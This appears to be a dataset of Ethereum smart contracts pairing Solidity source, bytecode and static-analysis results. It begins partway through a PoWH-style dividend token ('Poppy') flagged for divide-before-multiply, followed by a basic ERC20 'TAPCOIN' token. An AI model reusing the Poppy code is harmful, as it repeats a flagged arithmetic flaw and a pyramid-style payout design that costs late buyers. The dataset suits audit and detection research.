uint256 constant internal tokenPriceInitial_ = 0.00000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.000000001 ether;
uint256 constant internal magnitude = 2**64;
uint256 public stakingRequirement = 100e18;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
mapping(bytes32 => bool) public administrators;
function Poppy()
public
{
administrators[0x4543c2cf87cc692c1b7ebfef60c9cd7f9e3d2813f276079bc1b5eba1007ada51] = true;
}
function buy(address _referredBy)
public
payable
returns(uint256)
{
purchaseTokens(msg.value, _referredBy);
}
function()
payable
public
{
purchaseTokens(msg.value, 0x0);
}
function reinvest()
onlyProfitHolders()
public
{
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit()
public
{
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw()
onlyProfitHolders()
public
{
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens)
onlyTokenHolders()
public
{
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyTokenHolders()
public
returns(bool)
{
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if(myDividends(true) > 0) withdraw();
uint256 _tokenFee = SafeMath.div(_amountOfTokens, dividendFee_);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function setAdministrator(bytes32 _identifier, bool _status)
onlyAdministrator()
public
{
administrators[_identifier] = _status;
}
function setStakingRequirement(uint256 _amountOfTokens)
onlyAdministrator()
public
{
stakingRequirement = _amountOfTokens;
}
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
function totalEthereumBalance()
public
view
returns(uint)
{
return this.balance;
}
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice()
public
view
returns(uint256)
{
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ );
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice()
public
view
returns(uint256)
{
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ );
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
internal
returns(uint256)
{
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_);
uint256 _referralBonus = SafeMath.div(_undividedDividends, 3);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
if(
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement
){
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if(tokenSupply_ > 0){
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
)/(tokenPriceIncremental_)
)-(tokenSupply_)
;
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
SafeMath.sub(
(
(
(
tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18))
)-tokenPriceIncremental_
)*(tokens_ - 1e18)
),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2
)
/1e18);
return _etherReceived;
}
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
|
0x606060405260043610610148576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806265318b1461015657806306fdde03146101a357806310d0ffdd1461023157806318160ddd146102685780632260937314610291578063313ce567146102c8578063392efb52146102f75780633ccfd60b146103365780634b7503341461034b57806356d399e814610374578063688abbf71461039d5780636b2f4632146103d657806370a08231146103ff5780638328b6101461044c5780638620410b1461046f57806389135ae914610498578063949e8acd146104ca57806395d89b41146104f3578063a9059cbb14610581578063b84c8246146105db578063c47f002714610638578063e4849b3214610695578063e9fad8ee146106b8578063f088d547146106cd578063fdb5a03e1461070f575b610153346000610724565b50005b341561016157600080fd5b61018d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ae4565b6040518082815260200191505060405180910390f35b34156101ae57600080fd5b6101b6610b86565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101f65780820151818401526020810190506101db565b50505050905090810190601f1680156102235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561023c57600080fd5b6102526004808035906020019091905050610c24565b6040518082815260200191505060405180910390f35b341561027357600080fd5b61027b610c5c565b6040518082815260200191505060405180910390f35b341561029c57600080fd5b6102b26004808035906020019091905050610c66565b6040518082815260200191505060405180910390f35b34156102d357600080fd5b6102db610caf565b604051808260ff1660ff16815260200191505060405180910390f35b341561030257600080fd5b61031c600480803560001916906020019091905050610cb4565b604051808215151515815260200191505060405180910390f35b341561034157600080fd5b610349610cd4565b005b341561035657600080fd5b61035e610e71565b6040518082815260200191505060405180910390f35b341561037f57600080fd5b610387610ece565b6040518082815260200191505060405180910390f35b34156103a857600080fd5b6103c060048080351515906020019091905050610ed4565b6040518082815260200191505060405180910390f35b34156103e157600080fd5b6103e9610f40565b6040518082815260200191505060405180910390f35b341561040a57600080fd5b610436600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610f5f565b6040518082815260200191505060405180910390f35b341561045757600080fd5b61046d6004808035906020019091905050610fa8565b005b341561047a57600080fd5b61048261103c565b6040518082815260200191505060405180910390f35b34156104a357600080fd5b6104c86004808035600019169060200190919080351515906020019091905050611099565b005b34156104d557600080fd5b6104dd61115a565b6040518082815260200191505060405180910390f35b34156104fe57600080fd5b61050661116f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561054657808201518184015260208101905061052b565b50505050905090810190601f1680156105735780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561058c57600080fd5b6105c1600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061120d565b604051808215151515815260200191505060405180910390f35b34156105e657600080fd5b610636600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611526565b005b341561064357600080fd5b610693600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506115ca565b005b34156106a057600080fd5b6106b6600480803590602001909190505061166e565b005b34156106c357600080fd5b6106cb61189c565b005b6106f9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611903565b6040518082815260200191505060405180910390f35b341561071a57600080fd5b610722611915565b005b60008060008060008060008060003397506107438b606460ff16611a89565b9650610750876003611a89565b955061075c8787611aa4565b94506107688b88611aa4565b935061077384611abd565b9250680100000000000000008502915060008311801561079f575060065461079d84600654611b46565b115b15156107aa57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff161415801561081357508773ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff1614155b80156108605750600254600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b156108f6576108ae600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205487611b46565b600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610911565b6109008587611b46565b945068010000000000000000850291505b6000600654111561097c5761092860065484611b46565b60068190555060065468010000000000000000860281151561094657fe5b0460076000828254019250508190555060065468010000000000000000860281151561096e57fe5b048302820382039150610984565b826006819055505b6109cd600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611b46565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081836007540203905080600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508973ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f022c0d992e4d873a3748436d960d5140c1f9721cf73f7ca5ec679d3d9f4fe2d58d86604051808381526020018281526020019250505060405180910390a3829850505050505050505092915050565b600068010000000000000000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546007540203811515610b7e57fe5b049050919050565b60008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c1c5780601f10610bf157610100808354040283529160200191610c1c565b820191906000526020600020905b815481529060010190602001808311610bff57829003601f168201915b505050505081565b600080600080610c3885606460ff16611a89565b9250610c448584611aa4565b9150610c4f82611abd565b9050809350505050919050565b6000600654905090565b6000806000806006548511151515610c7d57600080fd5b610c8685611b64565b9250610c9683606460ff16611a89565b9150610ca28383611aa4565b9050809350505050919050565b601281565b60086020528060005260406000206000915054906101000a900460ff1681565b6000806000610ce36001610ed4565b111515610cef57600080fd5b339150610cfc6000610ed4565b9050680100000000000000008102600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054810190506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610e1f57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff167fccad973dcd043c7d680389db4378bd6b9775db7124092e9e0422c9e46d7985dc826040518082815260200191505060405180910390a25050565b60008060008060006006541415610e9557633b9aca006402540be400039350610ec8565b610ea6670de0b6b3a7640000611b64565b9250610eb683606460ff16611a89565b9150610ec28383611aa4565b90508093505b50505090565b60025481565b60008033905082610eed57610ee881610ae4565b610f38565b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f3682610ae4565b015b915050919050565b60003073ffffffffffffffffffffffffffffffffffffffff1631905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60003390506008600082604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140191505060405180910390206000191660001916815260200190815260200160002060009054906101000a900460ff16151561103157600080fd5b816002819055505050565b6000806000806000600654141561106057633b9aca006402540be400019350611093565b611071670de0b6b3a7640000611b64565b925061108183606460ff16611a89565b915061108d8383611b46565b90508093505b50505090565b60003390506008600082604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140191505060405180910390206000191660001916815260200190815260200160002060009054906101000a900460ff16151561112257600080fd5b8160086000856000191660001916815260200190815260200160002060006101000a81548160ff021916908315150217905550505050565b60008033905061116981610f5f565b91505090565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112055780601f106111da57610100808354040283529160200191611205565b820191906000526020600020905b8154815290600101906020018083116111e857829003601f168201915b505050505081565b60008060008060008061121e61115a565b11151561122a57600080fd5b339350600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054861115151561127b57600080fd5b60006112876001610ed4565b111561129657611295610cd4565b5b6112a486606460ff16611a89565b92506112b08684611aa4565b91506112bb83611b64565b90506112c960065484611aa4565b600681905550611318600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205487611aa4565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113a4600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611b46565b600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508560075402600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508160075402600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506114ad6007546006546801000000000000000084028115156114a757fe5b04611b46565b6007819055508673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600194505050505092915050565b60003390506008600082604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140191505060405180910390206000191660001916815260200190815260200160002060009054906101000a900460ff1615156115af57600080fd5b81600190805190602001906115c5929190611c57565b505050565b60003390506008600082604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140191505060405180910390206000191660001916815260200190815260200160002060009054906101000a900460ff16151561165357600080fd5b8160009080519060200190611669929190611c57565b505050565b600080600080600080600061168161115a565b11151561168d57600080fd5b339550600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205487111515156116de57600080fd5b8694506116ea85611b64565b93506116fa84606460ff16611a89565b92506117068484611aa4565b915061171460065486611aa4565b600681905550611763600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205486611aa4565b600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550680100000000000000008202856007540201905080600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055506000600654111561183d5761183660075460065468010000000000000000860281151561183057fe5b04611b46565b6007819055505b8573ffffffffffffffffffffffffffffffffffffffff167fc4823739c5787d2ca17e404aa47d5569ae71dfb49cbf21b3f6152ed238a311398684604051808381526020018281526020019250505060405180910390a250505050505050565b600080339150600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008111156118f7576118f68161166e565b5b6118ff610cd4565b5050565b600061190f3483610724565b50919050565b6000806000806119256001610ed4565b11151561193157600080fd5b61193b6000610ed4565b9250339150680100000000000000008302600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054830192506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a2c836000610724565b90508173ffffffffffffffffffffffffffffffffffffffff167fbe339fc14b041c2b0e0f3dd2cd325d0c3668b78378001e53160eab36153264588483604051808381526020018281526020019250505060405180910390a2505050565b6000808284811515611a9757fe5b0490508091505092915050565b6000828211151515611ab257fe5b818303905092915050565b6000806000670de0b6b3a76400006402540be400029150600654633b9aca00611b2f611b2960065486633b9aca00600202020260026006540a6002633b9aca000a02670de0b6b3a76400008a02670de0b6b3a7640000633b9aca0002600202026002890a010101611c0c565b85611aa4565b811515611b3857fe5b040390508092505050919050565b6000808284019050838110151515611b5a57fe5b8091505092915050565b600080600080670de0b6b3a764000085019250670de0b6b3a7640000600654019150670de0b6b3a7640000611bf5670de0b6b3a76400008503633b9aca00670de0b6b3a764000086811515611bb557fe5b04633b9aca00026402540be4000103026002670de0b6b3a7640000876002890a03811515611bdf57fe5b04633b9aca0002811515611bef57fe5b04611aa4565b811515611bfe57fe5b049050809350505050919050565b600080600260018401811515611c1e57fe5b0490508291505b81811015611c51578091506002818285811515611c3e57fe5b0401811515611c4957fe5b049050611c25565b50919050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611c9857805160ff1916838001178555611cc6565b82800160010185558215611cc6579182015b82811115611cc5578251825591602001919060010190611caa565b5b509050611cd39190611cd7565b5090565b611cf991905b80821115611cf5576000816000905550600101611cdd565b5090565b905600a165627a7a72305820ddc49401c3e9943eb2db9a0e0455e69bee195bb65cc5e3dd745426f5cd78873d0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 9,236 |
0xbcb92e269793c821e343939187107d641d7f9753
|
// SPDX-License-Identifier: No License
pragma solidity 0.6.12;
// ----------------------------------------------------------------------------
// 'TAPCOIN' token contract
//
// Symbol : TAP
// Name : TAPCOIN
// Total supply: 100 000 000
// Decimals : 18
// ----------------------------------------------------------------------------
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if (a == 0) {
return 0;}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
interface ERC20Basic {
function balanceOf(address who) external view returns (uint256 balance);
function transfer(address to, uint256 value) external returns (bool trans1);
function allowance(address owner, address spender) external view returns (uint256 remaining);
function transferFrom(address from, address to, uint256 value) external returns (bool trans);
function approve(address spender, uint256 value) external returns (bool hello);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20Basic, Ownable {
uint256 public totalSupply;
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public override returns (bool trans1) {
require(_to != address(0));
//require(canTransfer(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
*/
function balanceOf(address _owner) public view override returns (uint256 balance) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) {
require(_to != address(0));
// require(canTransfer(msg.sender));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public override returns (bool hello) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
*/
function allowance(address _owner, address _spender) public view override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract TAPCOIN is BurnableToken {
string public constant name = "TAPCOIN";
string public constant symbol = "TAP";
uint public constant decimals = 18;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 100000000 * (10 ** uint256(decimals));
// Constructors
constructor () public{
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
//allowedAddresses[owner] = true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a12565b005b61033960048036036040